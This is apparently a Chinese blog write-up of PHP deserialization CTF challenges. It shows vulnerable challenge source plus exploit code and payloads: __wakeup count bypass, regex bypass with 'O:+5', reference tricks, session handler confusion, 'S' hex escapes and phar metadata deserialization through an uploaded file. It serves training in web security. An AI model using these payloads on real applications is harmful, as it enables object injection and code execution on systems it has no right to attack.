MENU

PHP反序列化学习总结

December 17, 2021 • Read: 2037 • WEB Security Learning

小组内师傅自己搭建的靶场
突然想着来玩玩 有时间就打一两道 持续更新中---

Wakeup plus

题一:

<?php 
class SoFun{ 
  protected $file='index.php';
  function __destruct(){ 
    if(!empty($this->file)) {
      if(strchr($this-> file,"\\")===false &&  strchr($this->file, '/')===false)
        show_source(dirname (__FILE__).'/'.$this ->file);
      else
        die('Wrong filename.');
    }
  }  
  function __wakeup(){
   $this-> file='index.php';
  } 
}
if (!isset($_GET['tryhackme'])){ 
  show_source(__FILE__);
}
else{ 
  $a=$_GET['tryhackme']; 
  echo $a;
  unserialize($a); 
}
 ?><!--key in flag1.php-->

很简单的wakeup绕过

PHP5 < 5.6.25, PHP7 < 7.0.10 当反序列化时变量个数与实际不符是会绕过
php7.2 将变量个数改为负数即可绕过

但是注意一点protected修饰时是有不可见字符的所以要编码

<?php
class SoFun{
    protected $file;
    function __construct(){
        $this->file="flag1.php";
    }
}
$a=new SoFun();
echo urlencode(str_replace('":1:','":2:',serialize($a)));//绕过wakeup

//O%3A5%3A%22SoFun%22%3A2%3A%7Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A9%3A%22flag1.php%22%3B%7D

题二:

<?php
include "flag2.php"; 
class funny{
    function __wakeup(){
        global $flag;
        echo $flag;
    }
}
if (isset($_GET['tryhackme'])){
    $a = $_GET['tryhackme'];
    if(preg_match('/[oc]:\d+:/i', $a)){
        die("NONONO!");
    } else {
        unserialize($a);
    }
} else {
    show_source(__FILE__);
}

 ?>

正则的绕过

d: 匹配一个数字字符。等价于 [0-9]。
+: 匹配前面的子表达式一次或多次。
/i: 表示匹配的时候不区分大小写

<?php
class funny
{}
$a = new funny();
$a = serialize($a);
$a= str_replace('O:5', 'O:+5',$a);//绕过preg_match
echo urlencode($a);
//O%3A%2B5%3A%22funny%22%3A0%3A%7B%7D

Bypass Session

题一:

<?php
include "flag3.php";
class funny{
    private $password;
    public $verify;
    function __wakeup(){
        global $nobodyknow;
        global $flag;
        $this->password = $nobodyknow;
        if ($this->password === $this->verify){
            echo $flag;
        } else {
            echo "浣犱笉澶鍟�??!";
        }
    }
}
if (isset($_GET['tryhackme'])){
    $a = $_GET['tryhackme'];
    unserialize($a);
} else {
    show_source(__FILE__);
}
?>

这道题$nobodyknow是我们不可控的
但是需要$this->password === $this->verify
所以引用就行

<?php

class funny{
    private $password;
    public $verify;
    function  __construct()
    {
        $this->password=&$this->verify;
    }
}
$a=new funny();
echo urlencode(serialize($a));
//O%3A5%3A%22funny%22%3A2%3A%7Bs%3A15%3A%22%00funny%00password%22%3BN%3Bs%3A6%3A%22verify%22%3BR%3A2%3B%7D

题二:

<?php
// goto un42.php
ini_set('session.serialize_handler','php_serialize');
session_start();
if (isset($_GET['tryhackme'])){
$_SESSION['tryhackme'] = $_GET['tryhackme'];
} else {
show_source(__FILE__);
}
?>

它给了提示 goto un42.php 我们得到

<?php
include "flag4.php"; 
ini_set('session.serialize_handler','php');
session_start();
class funny{
    public $a;
    function __destruct(){
        global $flag;
        echo $flag;
    }
}
show_source(__FILE__);
?>

然后这道题的考点是不同引擎引起的

ini_set('session.serialize_handler','php_serialize');
ini_set('session.serialize_handler','php');

参考链接
所以构造payload

?tryhackme=|O:5:"funny":0:{}

然后再访问un42.php

Unseralize Array

题一:

<?php
include "flag5.php";
class funny{
    private $a;
    function __construct() {
        $this->a = "givemeflag";
    }
    function __destruct() {
        global $flag;
        if ($this->a === "givemeflag") {
            echo $flag;
        }
    }
}

if (isset($_GET['tryhackme']) && is_string($_GET['tryhackme'])){
$a = $_GET['tryhackme'];
for($i=0;$i<strlen($a);$i++)
{
    if (ord($a[$i]) < 32 || ord($a[$i]) > 126) {
        die("浣犲埌搴曡涓嶈鍟�");
    }
}
unserialize($a);
} else {
    show_source(__FILE__);
}
?>

这道题的考点这个地方

  if (ord($a[$i]) < 32 || ord($a[$i]) > 126) {
            die("浣犲埌搴曡涓嶈鍟�");
        }

过滤了不可见字符
由于类中的$a是private属性。所以在构造序列化串时难以避免使用不可见字符
所以我们用S来绕过
paylaoad

?tryhackme=O:5:"funny":1:{S:8:"\00funny\00a";s:10:"givemeflag";}

此处如果使用小写s并使用%00就会在payload被urldecode后被检测拦截 故使用大写S进行hex code后使用00进行绕过处理
这样%00就会被转义进而符合要求

题二:

<?php
include "flag6.php";
class funny{
    public function pyflag(){
        global $flag;
        echo $flag;
    }
}

if (isset($_GET['tryhackme']) && is_string($_GET['tryhackme'])){
$a = unserialize($_GET['tryhackme']);
$a();
} else {
    show_source(__FILE__);
}
?>

这道题的考点就是php动态执行函数能力,即使用变量名后加括号的方式来对函数进行调用。这道题其实是让调用funny.pyflag
所以exp

<?php

class funny{
    public function pyflag(){
        global $flag;
        echo $flag;
    }
}
$a=new funny();
$b=array($a,pyflag::class);
echo serialize($b);
?>//a:2:{i:0;O:5:"funny":0:{}i:1;s:6:"pyflag";}

Phar POP

题一:

<?php
include "flag7.php";
class funny{
    function __destruct() {
        global $flag;
        echo $flag;
    }
}

show_source(__FILE__);
if (isset($_GET['action'])) {
    $a = $_GET['action'];
    if ($a === "check") {
        $b = $_GET['file'];
        if (file_exists($b) && !empty($b)) {
            echo "$b is exist!";
        }
    } else if ($a === "upload") {
        if (!is_dir("./upload")){
            mkdir("./upload");
        }
        $filename = "./upload/".rand(1, 10000).".txt";
        if (isset($_GET['data'])){
            file_put_contents($filename, base64_decode($_GET['data']));
            echo "Your file path:$filename";
        }
    }
}
?>

首先得知道什么是phar反序列化
这道题有个上传和一个file_exists这个函数可以触发phar反序列化

<?php
class funny{
    function __destruct() {
        global $flag;
        echo $flag;
    }
}
$o = new funny();
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($o);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
$a=file_get_contents('./phar.phar');
file_put_contents('./testphar',base64_encode($a));

所以payload

?action=upload&data=R0lGODlhPD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQpGAAAAAQAAABEAAAABAAAAAAAQAAAATzo1OiJmdW5ueSI6MDp7fQgAAAB0ZXN0LnR4dAQAAAAd0NphBAAAAAx+f9i2AQAAAAAAAHRlc3RAurYSIHNYmrjYFKaIZkQPpDhEDgIAAABHQk1C

然后

?action=check&file=phar://./upload/xxxx.txt

题二:

 <?php
include("./flag8.php");

class a {
    public $object;

    public function resolve() {
        array_walk($this, function($fn, $prev){
            if ($fn[0] === "system" && $prev === "ls") {
                echo "Wow, you rce me! But I can't let you do this. There is the flag. Enjoy it:)\n";
                global $flag;
                echo $flag;
            }
        });
    }

    public function __destruct() {
        @$this->object->add();
    }

    public function __toString() {
        return $this->object->string;
    }
}

class b {
    protected $filename;

    protected function addMe() {
        return "Add Failed. Filename:".$this->filename;
    }

    public function __call($func, $args) {
        call_user_func([$this, $func."Me"], $args);
    }
}

class c {
    private $string;

    public function __construct($string) {
        $this->string = $string;
    }

    public function __get($name) {
        $var = $this->$name;
        $var[$name]();
    }
}

if (isset($_GET["tryhackme"])) {
    unserialize($_GET['tryhackme']);
} else {
    highlight_file(__FILE__);
}

SOAP Escape

题一:

<?php
// POST py=flag&url=yoururl to un92.php and you will get the flag
if (isset($_GET['tryhackme']) && is_string($_GET['tryhackme'])){
$a = unserialize($_GET['tryhackme']);
$a->pyflag();
} else {
    show_source(__FILE__);
}
?>

题二:

<?php
include("flag10.php");

class a {
    public $test_1;
    public $string;
    public $test_2;

    public function __construct($test_1, $string, $test_2) {
        $this->test_1 = $test_1;
        $this->string = $string;
        $this->test_2 = $test_2;
    }

    public static function filePutStr ($string) {
        return str_replace("\0*\0", "00*00", $string);
    }

    public static function fileGetStr ($string) {
        return str_replace("00*00", "\0*\0", $string);
    }

    public function __wakeup() {
        $string = str_replace("1", "2", $this->string);
        if ($string == 1) {
            echo "Egg!!!";
        } else {
            echo "No egg, but you can get the flag!";
        }
    }
}

class b {
    public $a;
    protected $function;

    public function __toString() {
        if (is_string($this->a)) {
            return $this->a;
        } else if (is_callable($this->a)) {
            return call_user_func($this->a);
        } else {
            return "nope";
        }
    }

    public function fly() {
        if ($this->function) {
            global $flag;
            echo $flag;
        }
        return "nope";
    }
}

if ($_GET["mode"] == "ser" && isset($_GET["data"])) {
    if (!is_dir("./tmp")) {    
        @mkdir("./tmp");
    }

    if (preg_match("/(fly)|(S)/", $_GET["data"])) {
        die("Don't hack me, please~");
    } else {
        $a = new a($_GET['test_1'], $_GET["data"], $_GET["test_2"]);
        $data = a::filePutStr(serialize($a));
        file_put_contents("./tmp/".md5($_SERVER["REMOTE_ADDR"]), $data);
    }
    
} else if ($_GET["mode"] == "unser") {
    $data = file_get_contents("./tmp/".md5($_SERVER["REMOTE_ADDR"]));
    $data = a::fileGetStr($data);
    unserialize($data);
} else {
    highlight_file(__FILE__);
}

Advance

<?php
include "flag11.php";
error_reporting(0);

class Flag{
        static public $flag;
        function __wakeup(){
            global $flag;
            self::$flag = $flag;
        }
        static function run($get){
            if(run::$key != run::$re){
                exit(unserialize($get)->run());
            }else{
                die('flag -> '.self::$flag);
            }
        }
}

class get{
    
    function __construct(&$th1s){
        $th1s->__class__ = Flag::$flag;
    }
    function run(){
        global $__run__;
        ob_start();
        echo $__run__;
    }
}


class run{
    
    static public $key = 'you never know~';
    static public $re = 'guess???';
    
    function __destruct(){
        
        if(Flag::$flag == ''){
            exit();
        }
        usort($this->__function__ = array($this,$this->__function__),function($self,$func){return lcg_value() <= extract($self) ? new $self($func) : call_user_func($self);});
        global $__run__;
        $__run__ = (string)$this->__class__;
        ob_end_clean();
    }
    
}

if(isset($_REQUEST['data'])){
    Flag::run($_REQUEST['data']);
}else{
    highlight_file(__FILE__);
}


?>
Last Modified: January 9, 2022
Archives Tip
QR Code for this page
Tipping QR Code